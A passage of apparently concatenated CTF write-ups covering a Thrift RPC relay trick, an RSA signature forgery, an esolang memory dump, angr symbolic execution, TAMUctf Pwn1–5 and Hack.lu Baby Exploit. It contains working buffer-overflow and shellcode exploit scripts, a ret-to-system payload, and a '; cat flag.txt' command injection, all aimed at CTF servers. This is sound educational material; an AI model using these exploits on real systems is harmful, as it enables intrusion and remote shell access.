// You do not have to call this method as part of your homework. // I added this to check people's work, it is my admin interface so to speak. // It should only work for localhost connections either way, if your client // tries to call it, your connection will be denied, hahaha! PongDebug pingdebug(1:Debug dummy), }
There’s quite a bit of comments, which are there to teach Thrift. The actual meat of the code isn’t very… meaty. In fact, it’s rather straightforward. The idea is that the the problem wants me to call the ping method on the server. The ping method takes a single argument, a special struct Ping which has three fields: proto, host, and data. All of this is abstract, however, as Thrift compiles servers and clients to other major programming langauges.
I had initially installed Thrift on my VM by downloading the source code, compiling, building, and installing Thrift 0.12.0. This took a lot longer than expected but I found out later that Thrift can simply be installed via a simple:
After installing Thrift, I generated the Python server/client code by running:
1
$ thrift --gen py ping.thrift
Note that I could have generated the server/client code in another language by changing py. I also believe that you can generate code for multiple languages at once.
After running the thrift python generation, a new folder was created in the current directory:
So it looks like I got a lot of files with all of the datatypes defined and the data transport defined in libraries for me to call. Looking through most of the files gave me some insight. The most important file was ttypes.py, as it defined the datatypes, objects, and how to build them. For example, I was able to figure out how to build a Ping() object.
Drawing off of example tutorials on Thrift, I wrote up a quick prototype which would call the ping function on the remote side:
if __name__ == '__main__': try: main() except Thrift.TException as tx: print('%s' % tx.message)
Running this Python client script gave me the following output:
1
Pong(code=0, data='HTTP/1.1 301 Moved Permanently\r\n')
Hmm… That seems.. kind of right? So it seems like this ping function doesn’t actually do the ping that I thought of initially, which is the ICMP ping. I was initially pretty confused at why there was a data field in the Ping struct. Also, calling ping seemed to continually throw exceptions if I didn’t provide a port number, which was also confusing because ICMP has no port!
In effect, it looks like the ping function is more like a “send a packet with this data to this host and this port” function!
Looking back at the original ping.thrift file, I see that there’s a function pingdebug:
1 2 3 4 5
// You do not have to call this method as part of your homework. // I added this to check people's work, it is my admin interface so to speak. // It should only work for localhost connections either way, if your client // tries to call it, your connection will be denied, hahaha! PongDebug pingdebug(1:Debug dummy),
How snarky! In fact, I feel like this is very common, where there is some sort of function or piece of code which I’m not supposed to call, but in fact ends up being the solution. I’ve written a challenge myself which has this level of snarkiness. Presumably, I’ll have to call the pingdebug function to get the flag.
With what I know so far, this seems fairly straightforward, since the ping function can be used to send a pingdebug RPC to localhost:9090. Before I can do this, I need to know what the data would need to be for a pingdebug RPC. I can figure this out by calling this function directly from my client. I assume that it won’t succeed but I can take a tcpdump of the data and grab the raw hex.
I modified the middle portion of my Thrift python client code:
I used tcpdump to monitor what this data looked like so I could replicate it. Here’s the packet we care about in Wireshark:
The highlighted portion is the contents of the pingdebug packet, which I care about to send through ping. I grab the hex representation of this data and set it as ping.data.
Facebook CTF 2019 featured quite a fair number of challenges. I played this weekend (and spent far more time than I’d like to admit) with some coworkers and interns. Here’s the writeup to the crypto challenge keybaseish.
Visiting the website gave me the following landing page:
Trying to register a new account gives an error:
Poking around doesn’t yield much, as this is a crypto challenge and not a (eeuuugh) web challenge. However, I was pretty sure that the Forgot your password? option was where I’d find the flag:
First thing I did was take a look at the Twitter page given:
The Twitter handle @baseishcoinfou1 only has a few tweets. Based off of the description given on the Forgot your password? page, I assume I have to somehow spoof myself as that baseishcoinfou1 guy to log in.
The script given to generate a signature from the pin on the page:
from Crypto.PublicKey import RSA from Crypto import Random
defprint_twitter(sig): sig_str = str(sig) n = (len(sig_str) / 255) + 1 chunks, chunk_size = len(sig_str), int(len(sig_str)/n) + 1 tweets = [ sig_str[i:i+chunk_size] for i in range(0, chunks, chunk_size) ] print("Please post these signature strings as public twitter posts from your accout:") for ndx in range(len(tweets)): print (' "PRF{}/{}:{}"'.format(ndx+1, len(tweets), tweets[ndx]))
defmain(): rng = Random.new().read print('Enter challenge pin from site: ') pin = input() print('Signing "{}" with a new RSA key....'.format(pin)) RSAkey = RSA.generate(1024, rng) signature = RSAkey.sign(int(pin), rng) key_params = RSAkey.__getstate__() print_twitter(signature[0]) print('\\n\\nPlease input your public key on the web form:') print(' "{}:{}"'.format(key_params['e'], key_params['n'])) print('\\n\\n')
if __name__ == '__main__': main()
Looks like a simple RSA problem! I like RSA problems since they’re (more or less) straightforward and simple if you understand the math behind RSA.
Just to test the script, I ran it:
1 2 3 4 5 6 7 8 9 10
python sign.py Enter challenge pin from site: 181017 Signing "181017" with a new RSA key.... Please post these signature strings as public twitter posts from your accout: "PRF1/2:12616772997099881092375957326003990137779551590105056359724007346007270008590031540842987916830146724788896698376238275605644665709297153261025689486677058" "PRF2/2:1568999222098812125219384637167519141955275734978704095636241686766565034894108909513705239180738446930042084402798058928111360197321674943244865943473114" \n\nPlease input your public key on the web form: "65537:145747811796572471696747097157677997611648214067955469374447752842447868280985991728977790393206040581952310449663503299506235400385799969481411870524508083265137943592770093338719137641828543820981124371367546988503982540558023348323871125943787522195565603427560680045189757271148997310447224805702675483099" \n\n
Somehow, I feel like there weren’t supposed to be escapes for the newlines, but oh well. Everything seems to check out here.
So the idea seems to be that by supplying the website with a public key that matches the signature with a given pin, then I can verify my identity. This is pretty poor security, obviously, especially given the fact that I have control over the exponent (which I stupidly overlooked for at least several hours). The equation for the signature is as follows:
1
pin = signature^e mod n
I have the pin given to me by the website, the signature from the Twitter page of baseishcoinfou1, and the exponent. All I need is a valid n.
For the exponent, I’ll choose 5. Why 5? It is relatively low and means that when I exponentiate the signature, the n can be represented by the same number of bits. Basically:
1
kn + pin = signature^e
In my case, I’m going to assume k = 1, making the problem very trivial. In effect:
1
n = signature^e - pin
I wrote a short Python script to calculate this:
solve.py
1 2 3 4 5 6 7 8 9 10
# Signature from the Twitter page of baseishcoinfou1 signature = 43522081190908620239526125376626925272670879862906206214798620592212761409287968319160030205818706732092664958217053982767385296720310547463903001181881966554081621263332073144333148831108871059921677679366681345909190184917461295644569942753755984548017839561073991169528773602380297241266112083733072690367
# Pin given by the "Forgot your password?" page pin = 181017
# Low exponent e = 5
print'%d:%d' % (e, pow(signature, e) - pin)
Running the script yields the following public key:
Hope you’ve learned the alphabet! nc 54.159.113.26 19600
Let’s dive in:
1 2 3
$ nc 54.159.113.26 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: >
Okay, straightforward enough. I’m told that the flag is at the start of memory. Just to test things out, I’ll input the Hello World program from the AlphaBeta esolang page (removing all the newlines since I’m told I only get one line):
1 2 3 4
$ nc 54.159.113.26 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: > cccCISccccCIScccCIYxSGSHaaCLgDLihhhDLDLgggDLTTGaaCLSGccbbbCLDLgggDLjggggDLSHDLTTGaaaCL Hello World!
Alright, looks like it worked. Like all esolangs, AlphaBeta has pointers and registers and can modify memory, move data, and the like. Encountering enough esolangs, you start to get familiar with these constructs which are needed to build a language.
I didn’t want to spend too much time learning AlphaBeta so I wanted to build off of one of the three examples on the AlphaBeta esolang page. In particular, I looked at the Cat program:
1
JCLigggO
It looks like what this does is:
1 2 3 4 5 6
J input a value from the keyboard and store it in register 1 C sets register 3 to the value of register 1 L outputs a character to the screen i adds 10 to register 2 g adds 1 to register 2 O if register 1 does not equal register 2, goto the position at the position register
It looks like this is some kind of loop that reads input one character at a time from stdin and then outputs it to the screen. Instead of using J, I found that G might be handy:
1
G sets register 1 to the memory at the memory pointer
So instead of reading from stdin to print, the interpreter will read from the first memory location. I’m going to try sending in the Cat program except with a G instead of a J:
1 2 3 4 5
$ nc 54.159.113.26 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: > GCLigggO aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... aaaaaaaaaa^C
Woah there. CTRL+C IMMEDIATELY. I kept getting a bajillion a output. Since the flag format of the CTF is actf{FLAG}, I figured that what the interpreter is probably doing is continually printing the first character over and over again. After some thought, this makes sense since I didn’t bother to move the memory pointer forward by 1. I can do this right after the interpreter outputs the character to the screen with L. S is useful here:
1
S adds 1 to the register
By the register, the page means the memory pointer. The commands S, T, U, V, W, X, Y, and Z act on either the memory pointer or the position pointer depending on which “mode” the interpreter is in. By default, the interpreter starts on the memory pointer, which is exactly what I need.
1 2 3
$ echo GCLSigggO | nc 54.159.113.26 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: > actf{esolangs_sure_are_fun!}You broke it. Are you proud?
Frankly, I don’t care that I broke it because I still got the flag: actf{esolangs_sure_are_fun!}. Easy money!
As an addendum, I think I get the You broke it. Are you proud? message because the interpreter ends up reading a memory region that it isn’t supposed to read (past the flag). I can shorten the solution even further:
1 2 3
$ echo GCLSkO | nc 54.159.113.26 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: > actf{esolangs_sure_are_fun!}You broke it. Are you proud?
The above is the shortest solution that I believe I can get. If I wanted to do things correctly, I’d use the position register to loop back to a certain point in the program (and not just the beginning) like so:
1 2 3
$ echo ZUTZiiihhGCLSP | nc 54.159.113.26 19600 Welcome to the AlphaBeta interpreter! The flag is at the start of memory. You get one line: > actf{esolangs_sure_are_fun!}
This gives the solution with the exact characters (knowing that the flag is 28 characters) without telling me that I broke it.
Sidenote: Not sure why P is used here. I think the interpreter should be using Q instead but might have these two instructions flipped, as Q loops as long as register 1 (our indexing variable) is less than or equal to register 2 (the length of the flag).
I’ll keep this quick and short because this wasn’t a very hard challenge but I wanted to demonstrate how easy it is to solve simpler “crackmes” in CTFs by using a tool like angr. This one is called High Quality Checks from angstromCTF 2019:
High Quality Checks - Rev (110 points)
After two break-ins to his shell server, kmh got super paranoid about a third! He’s so paranoid that he abandoned the traditional password storage method and came up with this monstrosity! I reckon he used the flag as the password, can you find it?
$ readelf -h high_quality_checks ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400520 Start of program headers: 64 (bytes into file) Start of section headers: 11016 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 9 Size of section headers: 64 (bytes) Number of section headers: 29 Section header string table index: 28
Alright, everything looks normal. Running the binary a couple times to see what it does:
1 2 3 4 5 6 7 8
$ ./high_quality_checks Enter your input: skdjflf Flag is too short. $ ./high_quality_checks Enter your input: ajskldfjkdlsjflfjlsdkjfsdlfjdsljfld That's not the flag.
Quick thing I noted: the program will tell me if my input is too short. This ends up not being useful at all later but I think it’s still good to notice these subtle differences.
On the surface, this seems like a simple crackme. Here is what it looks like in Ghidra analyzed with the default options:
A closer look at the decompiled main() function:
So the flag is at least 0x13 (or 19) characters long. Looks pretty clear to me that the check() function is the important part. Here is the decompilation of that function in Ghidra:
Err… this doesn’t look so fun. Without posting a screenshot for every individual one-letter function, I can tell that each individual function is very annoying to parse and calculate by hand. I decided to approach this another way: angr!
angr is a python framework for analyzing binaries. It combines both static and dynamic symbolic (“concolic”) analysis, making it applicable to a variety of tasks.
One of the simpler things that angr can do is run a binary and attempt to reach a desired branch or state in the program execution and tell you what the output at that point in the binary is, or (more importantly for what we’re doing here) what input allows you to reach that specific branch in the program.
I’ll post the source code for the angr script high_quality_checks_angr.py I used to get the flag and then describe more or less what is happening:
sm = proj.factory.simulation_manager() sm.explore(find=FIND_ADDR, avoid=AVOID_ADDR)
return sm.found[0].posix.dumps(0)
if __name__ == '__main__': print(repr(main()))
Here’s a bit of a breakdown:
Line 7 initializes the angr project with the path to the binary to analyze/run.
Line 9 initializes my “simulation manager” which allows me to control symbolic execution over states of the program. It allows me to apply some parameters to how I search for states in the program.
Line 10 is where I tell the simulation manager that I want to reach a certain instruction address (FIND_ADDR) in the execution while avoiding another address (AVOID_ADDR). More in a bit on how I chose these addresses…
Line 12 is where I return the stdin (which by default on Linux is file descriptor 0) of the first found state that satisfies the parameters given.
FIND_ADDR is the address of the puts() call where You found the flag! is printed to stdout, while AVOID_ADDR is the address of the puts() call where That's not the flag. is printed.
angr isn’t all too difficult to install but I much prefer to run it from within a docker container.
$ docker run --name angr -it angr/angr (angr) angr@da6c4b11289a:~$
(in another terminal window I copy over the binary and the angr script) $ docker cp high_quality_checks_angr.py angr:/home/angr/high_quality_checks_angr.py $ docker cp high_quality_checks angr:/home/angr/high_quality_checks
(angr) angr@da6c4b11289a:~$ python high_quality_checks_angr.py WARNING | 2019-04-25 02:07:09,244 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2019-04-25 02:07:09,245 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2019-04-25 02:07:09,245 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state WARNING | 2019-04-25 02:07:09,245 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2019-04-25 02:07:09,245 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages. WARNING | 2019-04-25 02:07:09,247 | angr.state_plugins.symbolic_memory | Filling register r15 with 8 unconstrained bytes referenced from 0x400b00 (__libc_csu_init+0x0 in high_quality_checks (0x400b00)) WARNING | 2019-04-25 02:07:09,250 | angr.state_plugins.symbolic_memory | Filling register r14 with 8 unconstrained bytes referenced from 0x400b02 (__libc_csu_init+0x2 in high_quality_checks (0x400b02)) WARNING | 2019-04-25 02:07:09,253 | angr.state_plugins.symbolic_memory | Filling register r13 with 8 unconstrained bytes referenced from 0x400b07 (__libc_csu_init+0x7 in high_quality_checks (0x400b07)) WARNING | 2019-04-25 02:07:09,256 | angr.state_plugins.symbolic_memory | Filling register r12 with 8 unconstrained bytes referenced from 0x400b09 (__libc_csu_init+0x9 in high_quality_checks (0x400b09)) WARNING | 2019-04-25 02:07:09,261 | angr.state_plugins.symbolic_memory | Filling register rbx with 8 unconstrained bytes referenced from 0x400b1a (__libc_csu_init+0x1a in high_quality_checks (0x400b1a)) WARNING | 2019-04-25 02:07:09,315 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x4005b1 (register_tm_clones+0x21 in high_quality_checks (0x4005b1)) WARNING | 2019-04-25 02:07:09,589 | angr.state_plugins.symbolic_memory | Filling memory at 0x7ffffffffff0000 with 64 unconstrained bytes referenced from 0x1000010 (strlen+0x0 in extern-address space (0x10)) WARNING | 2019-04-25 02:07:09,591 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x1000010 (strlen+0x0 in extern-address space (0x10)) b'actf{fun_func710n5}' (angr) angr@da6c4b11289a:~$
Easy as that! The flag is given by angr: actf{fun_func710n5}.
In the midst of running a TracerFIRE workshop for several schools at North Carolina A&T State University in Greensboro, NC, I found some time to hop onto TAMUctf. It turns out to have a nice mixture of challenges, including some secure coding, some penetration testing, and some incident response-focused challenges. Of course, I like the traditional categories so here are writeups for Pwn1, Pwn2, Pwn3, Pwn4, and Pwn5!
In typical pwn challenge fashion, each of the above challenges only gives a server and a port. Pwn1 gives the following:
1
nc pwn.tamuctf.com 4321
First thing’s first, let’s run file:
1 2
$ file pwn1 pwn1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped
Seeing not stripped is always nice. Let’s connect to the server to see what it’s all about.
1 2 3 4 5
$ nc pwn.tamuctf.com 4321 Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? Wellington I don't know that! Auuuuuuuugh!
It sounds like Monty Python… Let’s take a look at this binary in IDA. First thing I look at here is the function names in IDA.
Hmm… there’s a print_flag function. Seems useful for later on. Looking in main, I see that the binary is asking three questions. Answering all three questions correctly leads to the binary calling the print_flag function.
From the above, I can see that the first two questions that the binary asks are straightforward. The first two answers are obviously Sir Lancelot of Camelot\n and To seek the Holy Grail.\n. My Monty Python knowledge does not fail me! Things get more interesting at the last question. Two things that I noted about the last question:
gets is used instead of fgets for user input. This means there’s a possibility for an overflow.
The comparison is not with a string in the .rodata portion but rather with a hardcoded number.
It’s important to note where on the stack is being compared to this value and where on the stack I write my data into.
1 2 3 4 5
lea eax, [ebp+var_3B] ; We push the memory address of $ebp+0x3B onto the stack push eax call _gets ; _gets will write value of user input to $ebp+0x3B add esp, 10h cmp [ebp+var_10] 0DEA110C8h ; We use $ebp+0x10 to the hardcoded value
I’ve added the comments to the assembly above to show the offset of where the user input is written and what memory section is compared to the number. Essentially, I write to $ebp+0x3B but $ebp+0x10 is used in the comparison. This makes it clear why _gets is used. I’ll have to write 0x3B-0x10 = 0x2B = 43 bytes of data before placing the right value.
Let’s use pwntools to interact with the remote server.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
from pwn import *
r = remote('pwn.tamuctf.com', 4321)
print r.recvline().rstrip('\n') r.send('Sir Lancelot of Camelot\n') print r.recvline().rstrip('\n') r.send('To seek the Holy Grail.\n') print r.recvline().rstrip('\n') r.sendline('A'*43 + '\xc8\x10\xa1\xde') # Write 43 bytes and then the hardcoded value in little endian print r.recvline().rstrip('\n') print r.recvline().rstrip('\n') print r.recvline() r.close()
Note line #10 in the above code is really the meat of this challenge. Also, we have to remember that we’re in little endian.
1 2 3 4 5 6 7 8
$ python pwn1.py [+] Opening connection to pwn.tamuctf.com on port 4321: Done Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see. What... is your name? What... is your quest? What... is my secret? Right. Off you go. gigem{34sy_CC428ECD75A0D392}
Pwn2
Similar to Pwn1, I’m only given a remote server and a port:
1
nc pwn.tamuctf.com 4322
Running file gives:
1 2
$ file pwn2 pwn2: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c3936da4c051f1ca58585ee8b243bc9c4a37e437, not stripped
Pretty much the same story as pwn1: 32-bit ELF that is not stripped. Time to see what this binary is doing.
1 2
$ nc pwn.tamuctf.com 4322 Which function would you like to call?
Hmmm.. I don’t want to guess randomness blindly so I’ll open up this binary in IDA.
The only notable things in the main function above are: 1. the use of gets and 2. select_func seems to be where the program flows. Looks like I’ll have to overflow another buffer with gets.
select_func is interesting. It looks like the address of function two is loaded into $ebp-0xc and then a string comparison is done. If the string entered is one, then the address of function one is loaded and called. Otherwise, function two is called. I verify this by running the binary:
1 2 3 4 5 6 7 8
$ ./pwn2 Which function would you like to call? one This is function one! $ ./pwn2 Which function would you like to call? two $
Eh?! That’s odd. Entering one yields the expected behavior from the program but typing something other than one does not call function two as I would normally expect. I’ll jump into gdb for this one, or more specifically, pwndbg because vanilla gdb is a struggle bus.
pwndbg shows me that something odd happens to the data at $ebp-0xc after the strncpy instruction at 0x565557a6 <select_func+39> call strncpy@plt <0x56555550>. Before the strncpy call, I check the data in $ebp-0xc:
1 2
pwndbg> x/1x $ebp-0xc 0xffffd54c: 0x565556ad
After the strncpy call, the data here seems to have changed:
1 2
pwndbg> x/1x $ebp-0xc 0xffffd54c: 0x56555600
More specifically, it looks like the last byte of the data changed. Observing the strncpy call more closely, it looks like the binary is calling strncpy with the parameters $ebp-0x2a, $ebp+0x8, and 0x1f. In other words, strncpy is called like:
1
strncpy($ebp-0x2a, $ebp+0x8, 0x1f)
This basically means that strncpy will copy 0x1f bytes of data from the data at memory address $ebp+0x8 to $ebp-0x2a. Doing the math here, I can see that the data copied will occupy the region from $ebp-0x2a to $ebp-0xc. Since the last byte written is at $ebp-0xc, this means that our “default” function that gets called in select_func can have the last byte of its memory address overwritten! I say “last byte” here because the binary is little endian. All I have to do is write 0x1f (or 31) bytes of data. I can use this knowledge to write the last byte and call the print_flag function. I can get the last byte of the print_flag function by disassembling it in pwndbg:
1 2 3
pwndbg> disassemble print_flag Dump of assembler code for function print_flag: 0x565556d8 <+0>: push ebp
It looks like the first 3 bytes also line up with the data already there so calling print_flag is a perfect candidate! I can write 31 bytes of \xd8 to the binary and it should print the flag:
1 2 3 4
$ (python -c 'print "\xd8"*31'; cat) | nc pwn.tamuctf.com 4322 Which function would you like to call? This function is still under development. gigem{4ll_17_74k35_15_0n3}
A quick note: I should explain why I do this funky (python <BLAH>; cat) deal. The reason I do this is to avoid having the remote server close stdin. When the remote server sees that there is no further user input, the connection is closed. In the case of this particular problem, it’s not necessary since I don’t need to keep stdin open, but in the case of problems where a shell is spawned and additional input from the user is necessary, the ; cat will allow the user to type additional input. I’ve developed a habit of adding this whenever I send input to a remote server, just in case.
Pwn3
You know the story by now.
1
nc pwn.tamuctf.com 4323
1 2
$ file pwn3 pwn3: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6ea573b4a0896b428db719747b139e6458d440a0, not stripped
Testing what the service does:
1 2
$ nc pwn.tamuctf.com 4323 Take this, you might need it on your journey 0xffe60f0e!
My first assumption is that the memory address given is some offset in the stack where I write. I’m probably going to have to put some shellcode on the stack and then jump to it somehow (most likely via a function return).
Before making any more assumptions, I’ll load up the binary in IDA to take a look at the main function:
Nothing too exciting here. Looks like all that happens is main calls echo. Here’s what the echo function looks like:
From the above, I can see that the address that is printed out to us upon connecting is where the buffer gets written via gets. Specifically, the address given is the address of [ebp+var_12A].
If I want to overwrite the return address of this function, all I have to do is write 0x12A+0x4 = 0x13E bytes and then the address I want the function to return to. The extra 0x4 is for the base saved base pointer.
I grabbed some simple shellcode for 32 bit binaries from from shell-storm:
Now it’s a simple matter of writing up a script to connect to the remote server, grab the memory address given, overflow the buffer, overwrite the return address, and execute the shellcode.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
from pwn import * from struct import pack
r = remote('pwn.tamuctf.com', 4323)
d = r.recvline() s = [x for x in d.split(' ') if'0x'in x][0][2:].rstrip('!\n')
$ python pwn3.py [+] Opening connection to pwn.tamuctf.com on port 4323: Done [*] Switching to interactive mode $ ls flag.txt pwn3 $ cat flag.txt gigem{r3m073_fl46_3x3cu710n}
Pwn4
1
nc pwn.tamuctf.com 4324
1 2
$ file pwn4 pwn4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=db1ceeb24f1c95e886c69fb0682714057ca13013, not stripped
Let’s take a look at what kind of service this is:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
$ nc pwn.tamuctf.com 4324 ls as a service (laas)(Copyright pending) Enter the arguments you would like to pass to ls: -a Result of ls -a: . .. flag.txt pwn4 ls as a service (laas)(Copyright pending) Enter the arguments you would like to pass to ls: ; cat flag.txt Result of ls ; cat flag.txt: flag.txt pwn4 gigem{5y573m_0v3rfl0w}
Well… that was easier than I expected. Basically all I did was assume that there was no checking for ; and that the program ran the commands as-is. Therefore, you can concatenate any commands to the end of ls by separating them with ;. The command that ended up getting run was ls ; cat flag.txt which gave me the contents of flag.txt easily.
I don’t think the challenge writers expected it to be this simple since this challenge was rated as medium but has the most solves of any of the pwn challenges. Onto the next one!
Pwn5
1
nc pwn.tamuctf.com 4325
1
pwn5: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=f9690a5a90e54f8336b65636e719feac16798d50, not stripped
Unlike all the previous binaries, Pwn5 is statically linked. That might be important for later on. In terms of functionality, Pwn5 seems to be similar to Pwn4 but has some more restrictions on user input. I’ll load it up in IDA. main isn’t all too interesting… all it does is call the function laas.
laas is more interesting. Some quick things that I note:
gets is used, indicating a potential overflow.
run_cmd is called. It might be worth taking a look at that function.
system is called here! That might be useful. Going back to Pwn5 being statically linked, there might be some static strings that can be used when calling system, specifically /bin/sh. Opening the strings subview in IDA, it’s easy to see that there are lots of strings in this statically linked binary. Indeed, near the top of the strings subview, I find the string /bin/sh in the binary along with its memory address:
All that is left now is to figure out how much to write to overwrite the return address to return to the address of system in the run_cmd function and add the address of the string /bin/sh as a parameter on the stack. From the laas function, I see that gets writes to $ebp-0xd. Therefore, I want to write 0xd+4 (to account for $ebp) = 0x11 = 17 bytes before overwriting the return address to system at \xb3\x88\x04\x08 and then the address of /bin/sh at \x40\xc1\x0b\x08:
1 2 3 4 5 6 7 8 9 10
$ (python -c 'print "/ AAAABBBBCCCCDDD" + "\xb3\x88\x04\x08\x40\xc1\x0b\x08"'; cat) | nc pwn.tamuctf.com 4325 ls as a service (laas)(Copyright pending) Version 2: Less secret strings and more portable! Enter the arguments you would like to pass to ls: No slashes allowed ls flag.txt pwn5 cat flag.txt gigem{r37urn_0r13n73d_pr4c71c3}
Remember the note about using (; cat) that I mentioned above? It was important here since I spawned a remote shell and had to add the additional user input of ls and cat flag.txt.
Overall, TAMUctf was a good review of challenge types that I’ve seen in the past. I unfortunately didn’t have much time to try many of the challenges but it was fun!
It’s been quite a while since my last writeup. I wanted to do a writeup of a simple challenge from Hack.lu CTF 2018. Hack.lu CTF this year unfortunately happened during the workweek so I didn’t get to play much of it. I jumped on in the final hours before the game ended. It was late at night so I wanted to work on an easier challenge. The full downloadable .zip files for Baby Reverse and Baby Exploit are available:
With that out of the way, here’s the writeup for Baby Exploit.
The challenge for Baby Exploit was a continuation of the challenge Baby Reverse where we were given a binary chall. Essentially, chall was a simple crackme that compared user input against the flag for Baby Reverse. All of the logic for the decryption was contained within a single function and turned out to be a simple xor cipher.
Solving Baby Reverse gave the flag flag{Yay_if_th1s_is_yer_f1rst_gnisrever_flag!}. This flag for Baby Reverse is the password for the zip for Baby Exploit.
Now, Baby Exploit is a little bit more interesting than Baby Reverse. We’re given several files and a connection to a remote service:
1
nc arcade.fluxfingers.net 1807
The remote server is running the following code in babyexploit.py:
""" Toggle the bit at the specified offset. Syntax: <cmdname> chall byte-offset bit-offset https://unix.stackexchange.com/questions/196251/change-only-one-bit-in-a-file """
from tempfile import NamedTemporaryFile from os import chmod from subprocess import CalledProcessError, TimeoutExpired, check_call from shutil import copyfile
print("Welcome to the super Flipper.") print("====================================================") try: bytepos = int(input("Please enter the byte-offset you want to flip (0x80-0x139): "),16) bitpos = int(input("Please enter the bitposition you want to flip at byte-offset(7-0): "),16) except ValueError: print("numbers only please...;)") exit(-1)
The important script is babyexploit.py. So basically, the server lets us flip one single bit in the chall binary and then runs it. Generally, we want to flip a bit in a jump command so that it jumps to somewhere in the region of memory where we have write access (since the binary prompts for input). The question is: which bit to flip? Let’s take a look again at our disassembly for all the jumps we have available:
From the above linear disassembly, these are the candidate jumps that we can bitflip:
1 2 3 4 5
0x4000A6 75 F0 jnz short loc_400098 ... 0x4000BB 75 49 jnz short near ptr loc_400105+1 ... 0x4000D0 EB 34 jmp short near ptr loc_400105+1
Before choosing which jump that we should consider for a bit flip, we should probably figure out what region of memory we have control over. It’s easy enough to use gdb to figure out what region and how much data we have control over writing:
From above, we can see that read() is called and 0x2e bytes of data is written to 0x4000d7. So we want to try to jump somewhere within this region to execute code. From our options, it looks like the only bit to overwrite would be at 0x4000BC. We want to overwrite bit 3 so the instruction goes from 75 49 to 75 41. This would jump us to 0x4000FE. This was easily verified by flipping the single bit in a local copy of the binary and running in gdb to see where the jump would go.
Now that we know that we want to flip the bit position 3 at byte offset 0xbc, we need to figure out what shellcode we want to write to those memory positions. Since we can only jump to 0x4000FE and the writable buffer ends at 0x400105 (0x4000D7 + 0x2E = 0x400105), let’s write a short jump at 0x4000FE to jump to the beginning of our writable buffer so we have more memory space to play with.
The jump opcodes we want are EB DD, which will jump to 0x4000D7, where the beginning of our buffer is. Since we wrote our jump instruction at 0x4000FE, we have 0x27 (0x4000FE - 0x4000D7 = 0x27) bytes worth of space for our shellcode to execute a shell. I grabbed this shellcode from shellstorm after trying several other shellcode implementations that didn’t work:
Now all that’s left is to put it all together! Of course, when we write our shellcode, we need to remember that the binary does some xor’ing of the bytes. Essentially, each byte is xor’ed with the next byte from the original byte sequence. It was easy enough to write a function which does the opposite of this so that after the binary does the xor cipher, the buffer in memory is restored to our desired shellcode.
The following script connects to the remote server, tells it to flip the bit at byte offset 0xbc and bit position 3, and then writes the enciphered shellcode to get our shell:
defcreate_exploit_string(s): result_rev = '' es_rev = s[::-1] for i, c in enumerate(es_rev): if i == 0: result_rev += c else: result_rev += chr(ord(c)^ord(result_rev[i-1])) r = result_rev[::-1] return r
HOST = 'arcade.fluxfingers.net' PORT = 1807 p = remote(HOST, PORT) p.sendline('bc') p.clean() p.sendline('3') p.recvuntil('Enter the Key to win: ') p.sendline(exploit_string) p.interactive() p.close()
Running this script spawns us a remote shell where we can get the flag:
1 2 3 4 5 6 7 8 9
$ python exploit.py [+] Opening connection to arcade.fluxfingers.net on port 1807: Done [*] Switching to interactive mode sh: cannot set terminal process group (26641): Inappropriate ioctl for device sh: no job control in this shell sh-4.4$ $ ls babyexploit chall flag sh-4.4$ $ cat flag flag{u_R_fl1ppin_good\o/keep_g0ing!}
This was a fun little challenge which didn’t require all too much stress or thinking. It was pretty straightforward and simple but I enjoyed it! Now to go work on HITCON CTF…
